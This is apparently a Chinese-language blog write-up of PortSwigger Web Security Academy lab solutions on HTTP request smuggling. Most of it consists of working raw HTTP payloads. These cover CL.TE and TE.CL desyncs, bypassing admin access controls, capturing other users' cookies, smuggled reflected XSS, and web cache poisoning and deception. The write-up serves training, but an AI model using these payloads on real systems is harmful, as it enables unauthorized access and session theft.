zoukankan      html  css  js  c++  java
  • Portswigger web security academy:HTTP request smuggling

    HTTP request smuggling

    建议配合浅谈HTTP请求走私食用

    HTTP request smuggling, basic CL.TE vulnerability

    • 题目描述

      • 此靶场有前端&后端服务器
      • 前端服务器不支持Tranfer-Encoding
      • 前端服务器拒绝除GET POST之外的请求方式
    • 要求

      • 进行一次GPOST请求
    • 解题过程

      • 构造请求

        • Content-LengthTransfer-Encoding 同时出现时,Content-Length 会被忽略。
        • Content-Length计算时,要把 计算在内(2字节),且首行的 不计算
        POST / HTTP/1.1
        Host: ac521fe01ea7d406808f07ec00ae0019.web-security-academy.net
        Connection: close
        Content-Length: 6
        Content-Type: application/x-www-form-urlencoded
        Transfer-Encoding: chunked
        
        0
        
        G
        

        前端服务器正常处理,但发送到后端服务器时,会产生两个请求:

        POST / HTTP/1.1
        Host: ac521fe01ea7d406808f07ec00ae0019.web-security-academy.net
        Connection: close
        Content-Length: 6
        Content-Type: application/x-www-form-urlencoded
        Transfer-Encoding: chunked
        
        0
        

        G
        

        只需要再用POST访问一次,即可拼接成

        GPOST / HTTP/1.1
        Host: ac521fe01ea7d406808f07ec00ae0019.web-security-academy.net
        Connection: close
        Content-Length: 6
        Content-Type: application/x-www-form-urlencoded
        Transfer-Encoding: chunked
        
        0
        

    HTTP request smuggling, basic TE.CL vulnerability

    • 题目描述

      • 此靶场有前端&后端服务器
      • 后端服务器不支持Transfer-Encoding
      • 前端服务器拒绝除GET POST之外的所有请求方式
    • 要求

      • 进行一次GPOST请求
    • 解题过程

      • 需要关闭Burp Suite中的Update COntent-Length选项

      • 构造请求

        • 需要注意,chunked下,需要在每个chunk前用十六进制表示该chunk的大小(不算表示块终的
        POST / HTTP/1.1
        Host: acfd1f981fff47c180bb187600d00030.web-security-academy.net
        Content-Type: application/x-www-form-urlencoded
        Content-length: 4
        Transfer-Encoding: chunked
        
        57
        GPOST / HTTP/1.1
        Content-Type: application/x-www-form-urlencoded
        Content-Length: 10
        
        0
        
        
        

    HTTP request smuggling, obfuscating the TE header

    • 题目描述

      • 此靶场有前端&后端服务器
      • 有重复的HTTP请求头时,两个服务器的处理方式不同
      • 前端服务器拒绝GET POST之外的请求方式
    • 要求

      • 进行一次GPOST请求
    • 解题过程

      • 示例试了好多都不行,看了solution,要多加一个Transfer-encoding: xxx。。。发现审题审错了

        POST / HTTP/1.1
        Host: ac121fa21f537ddc80cc62410043006a.web-security-academy.net
        Connection: close
        Content-Type: application/x-www-form-urlencoded
        Transfer-Encoding: chunked
        Transfer-encoding: x
        Content-Length: 4
        
        57
        GPOST / HTTP/1.1
        Content-Type: application/x-www-form-urlencoded
        Content-Length: 10
        
        0
        
        
        

    HTTP request smuggling, confirming a CL.TE vulnerability via differential responses

    • 题目描述

      • 此靶场有前端&后端服务器
      • 前端服务器不支持Transfer-Encoding
    • 要求

      • 进行HTTP请求走私,使得下一个访问/的请求返回404
    • 解题过程

      • 构造一个访问404页面的请求走私就好了

        POST / HTTP/1.1
        Host: ac941f561fb1305680d6062e0058002c.web-security-academy.net
        Connection: close
        Content-Type: application/x-www-form-urlencoded
        Transfer-Encoding: chunked
        Content-Length: 79
        
        0
        
        
        GET /404 HTTP/1.1
        Content-Type: application/x-www-form-urlencoded
        X: x
        

    HTTP request smuggling, confirming a TE.CL vulnerability via differential responses

    • 题目描述

      • 此靶场有前端&后端服务器
      • 后端服务器不支持Transfer-Encoding
    • 要求

      • 进行HTTP请求走私,使得下一个访问/的请求返回404
    • 解题过程

      • 和上一题类似,换成TE.CL就好了

        POST / HTTP/1.1
        Host: ac481f211e557bc680d30660008a00f3.web-security-academy.net
        Content-Type: application/x-www-form-urlencoded
        Content-length: 4
        Transfer-Encoding: chunked
        
        58
        GET /404 HTTP/1.1
        Content-Type: application/x-www-form-urlencoded
        Content-Length: 30
        
        0
        
        
        

    Exploiting HTTP request smuggling to bypass front-end security controls, CL.TE vulnerability

    • 题目描述

      • 此靶场有前端&后端服务器
      • 前端服务器不支持Transfer-Encoding
      • 存在管理员页面/admin,但前端服务器禁止访问该页面
    • 要求

      • 访问/admin并删除carlos的账号(这出题人指定跟carlos过不去)
    • 解题过程

      • 和上面的思路一样,走私一个访问/admin的请求

        POST / HTTP/1.1
        Host: ac2a1f221e94836b8057a22200d40099.web-security-academy.net
        Connection: close
        Content-Type: application/x-www-form-urlencoded
        Transfer-Encoding: chunked
        Content-Length: 79
        
        0
        
        
        GET /admin HTTP/1.1
        Content-Type: application/x-www-form-urlencoded
        X: x
        

        提示Admin interface only available to local users,添加一个伪造IP的请求头(把知道的都试了一遍都不行,看了solution需要用host

        POST / HTTP/1.1
        Host: ac2a1f221e94836b8057a22200d40099.web-security-academy.net
        Connection: close
        Content-Type: application/x-www-form-urlencoded
        Transfer-Encoding: chunked
        Content-Length: 79
        
        0
        
        POST /admin HTTP/1.1
        Host: localhost
        Content-Type: application/x-www-form-urlencoded
        
        xxx&
        

        紧跟着的请求

        GET / HTTP/1.1
        Host: ac2a1f221e94836b8057a22200d40099.web-security-academy.net
        
        
        

        然后按照上面的方法,构造一个删除carlos账号的请求就好了

      • 最终的exp === /admin换成/admin/delete?username=carlos

    Exploiting HTTP request smuggling to bypass front-end security controls, TE.CL vulnerability

    • 题目描述

      • 此靶场有前端&后端服务器
      • 后端服务器不支持Transfer-Encoding
      • 存在管理员页面/admin,但前端服务器禁止访问该页面
    • 要求

      • 访问/admin并删除carlos的账号
    • 解题过程

      • 换汤不换药,上一题的方法改成TE.CL就行

      • exp

        POST / HTTP/1.1
        Host: ac7a1fa81ef16a3a800c23a400de003c.web-security-academy.net
        Content-Type: application/x-www-form-urlencoded
        Content-length: 4
        Transfer-Encoding: chunked
        
        83
        POST /admin/delete?username=carlos HTTP/1.1
        Host: localhost
        Content-Type: application/x-www-form-urlencoded
        Content-Length: 30
        
        0
        
        
        
        GET / HTTP/1.1
        Host: ac7a1fa81ef16a3a800c23a400de003c.web-security-academy.net
        
        
        

    Exploiting HTTP request smuggling to reveal front-end request rewriting

    • 题目描述

      • 此靶场有前端&后端服务器
      • 前端服务器不支持Transfer-Encoding --> CL.TE
      • 存在管理员页面/admin,但只有ip==127.0.0.1的用户才能访问
      • 前端服务器 给传入的请求添加了包含IP的HTTP请求头
      • 大致意思
        • HTTP请求 --> 前端服务器 (添加HTTP请求头)--> 后端服务器
    • 要求

      • 删除carlos的账号
    • 解题过程

      • 材料给了提示,先找找会返回输入的 (POST) 功能点 --> 搜索

      • 先构造个简单的,看看前端服务器添加了些啥

        POST / HTTP/1.1
        Host: ac611f541e199c3880625911008c0059.web-security-academy.net
        Connection: close
        Content-Type: application/x-www-form-urlencoded
        Transfer-Encoding: chunked
        Content-Length: 101
        
        0
        
        POST / HTTP/1.1
        Content-Type: application/x-www-form-urlencoded
        Content-Length: 222
        
        search=
        

        连发两边,获得请求包:

        POST / HTTP/1.1
        X-qFYlCI-Ip: 13.127.209.47
        Host: ac611f541e199c3880625911008c0059.web-security-academy.net
        Content-Type: application/x-www-form-urlencoded
        Transfer-Encoding: chunked
        Content-Length: 101
        
        0
        
        

        设置IP的请求头X-qFYlCI-Ip

      • 构造exp

        POST / HTTP/1.1
        Host: ac611f541e199c3880625911008c0059.web-security-academy.net
        Connection: close
        Content-Type: application/x-www-form-urlencoded
        Transfer-Encoding: chunked
        Content-Length: 144
        
        0
        
        POST /admin/delete?username=carlos HTTP/1.1
        Content-Type: application/x-www-form-urlencoded
        X-qFYlCI-Ip: 127.0.0.1
        Content-Length: 0
        
        
        

    Exploiting HTTP request smuggling to capture other users' requests

    • 题目描述

      • 此靶场有前端&后端服务器
      • 前端服务器不支持Transfer-Encoding --> CL.TE
    • 要求

      • 通过走私请求来获取下一个用户的请求,并使用下一个用户的cookie登录
    • 解题过程

      • 需要寻找一个可以返回/保存信息的功能点 --> 评论 ,而且csrf token不会失效

      • 构造exp

        POST / HTTP/1.1
        Host: ace91f721e814bba80f528c000a600f8.web-security-academy.net
        Connection: close
        Content-Type: application/x-www-form-urlencoded
        Transfer-Encoding: chunked
        Cookie: victim-fingerprint=w09BWrZPFqVXkVgkVvuEboC4NdVpeGTW; secret=EOQzcrm5jNsBBUO2hWKEOl0WWzwl1bjs;
        Content-Length: 291
        
        0
        
        POST /post/comment HTTP/1.1
        Content-Type: application/x-www-form-urlencoded
        Cookie: session=jQaZVDTI26LnAcK6YSDCWY2yDIgJWXqa
        Content-Length: 764
        
        csrf=U65lnzldkL6JqoUw6XYEEAXmaK4RhXbF&postId=5&name=asd&email=test%40test.com&website=https%3A%2F%2Fasd%27%27%27%27&comment=aaaaaaaaaaa
        

        测了老半天,受害者差不多2分钟左右访问一次,然后这个长度也是。。。经常读到小半截cookie

    Exploiting HTTP request smuggling to deliver reflected XSS

    • 题目描述

      • 此靶场有前端&后端服务器
      • 前端服务器不支持Transfer-Encoding --> CL.TE
      • UA头存在反射型xss
    • 要求

      • 通过HTTP请求走私,让受害者执行alert(1)
    • 解题过程

      • 先找xss功能点

        • 在评论框里会加载uA

      • 构造exp

        POST / HTTP/1.1
        Host: ac621f9e1edd0ed4807e5a3c00f9004a.web-security-academy.net
        Connection: close
        Content-Type: application/x-www-form-urlencoded
        Transfer-Encoding: chunked
        Content-Length: 136
        
        0
        
        GET /post?postId=7 HTTP/1.1
        Content-Type: application/x-www-form-urlencoded
        User-Agent: asd"><svg/onload=alert(1)><
        Padding: xxx
        

    Exploiting HTTP request smuggling to perform web cache poisoning

    • 题目描述

      • 此靶场有前端&后端服务器
      • 前端服务器不支持Transfer-Encoding --> CL.TE
      • 前端服务器会缓存某些响应
    • 要求

      • 通过缓存投毒,把JS源重定向到exploit server,执行alert(document.cookie)
        • 缓存投毒,就是通过恶意的请求,污染正常的源文件(可以是整个文件的重定向,也可以是其中部分代码),那么之后的请求都会访问到恶意代码。
    • 解题过程

      • 需要构造两个请求,并且设置exploit server

        • 第一个是HTTP请求走私,使下一个访问js资源的请求重定向到exploit server
          • 填坑:这里需要注意,重定向到exploit server的请求需要让后端服务器正常处理,也就是说这里的跳转必须符合后端服务器的正常路由
        • 第二个是正常的访问js资源,使前端服务器更新缓存
        • 很人性化,exploit server已经设置好了(Content-Type: application/javascript)如果CT不对的话,是不会执行的,在body填上alert(document.cookie);就行
      • 构造exp(/post/next必须使用GET方法,其他方法会返回404

        POST / HTTP/1.1
        Host: acb81f971f48e35c80610c45008d0058.web-security-academy.net
        Connection: close
        Content-Type: application/x-www-form-urlencoded
        Transfer-Encoding: chunked
        Content-Length: 186
        
        0
        
        GET /post/next?postId=3 HTTP/1.1
        Host: acd41f671fb3e37980dd0c0a01580001.web-security-academy.net
        Content-Type: application/x-www-form-urlencoded
        Content-Length: 20
        
        padding=xxx
        

        然后浏览器访问/resources/js/tracking.js即可

    Exploiting HTTP request smuggling to perform web cache deception

    • 题目描述

      • 此靶场有前端&后端服务器
      • 前端服务器不支持Transfer-Encoding --> CL.TE
      • 前端服务器会缓存静态资源
      • 受害者在我们发送请求后30秒访问API
    • 要求

      • 获取受害者API key并提交
    • 解题过程

      • 直接构造exp,要去掉无用的请求头,避免出现dumplicate错误,看了网页源码,我猜受害者会请求tracking.js

        POST / HTTP/1.1
        Host: acef1f451e05881080b6051300a50062.web-security-academy.net
        Connection: close
        Content-Type: application/x-www-form-urlencoded
        Transfer-Encoding: chunked
        Content-Length: 186
        
        0
        
        GET /my-account HTTP/1.1
        Padding: x
        
        
      • 获取了半天获取不到,看了下solution,思路没错,但是获取方式有点奇怪?要一直发,然后再要用无痕浏览器强制打开看???

        我猜是避免用自己的cookie进行缓存欺骗

  • 相关阅读:
    Eclipse安装Hadoop插件
    (转)Ubuntu14.0.4中hadoop2.4.0伪分布模式配置
    Hadoop--DataNode无法启动
    启动与关闭hadoop
    hadoop中执行命令时发生错误
    strings命令
    Deriving data from ElasticSearch Engine
    elasticsearch data importing
    reading words in your computer and changing to female voice, linux festival text2wave saving wav files
    DDNS client on a Linux machine
  • 原文地址:https://www.cnblogs.com/R3col/p/14518452.html
Copyright © 2011-2022 走看看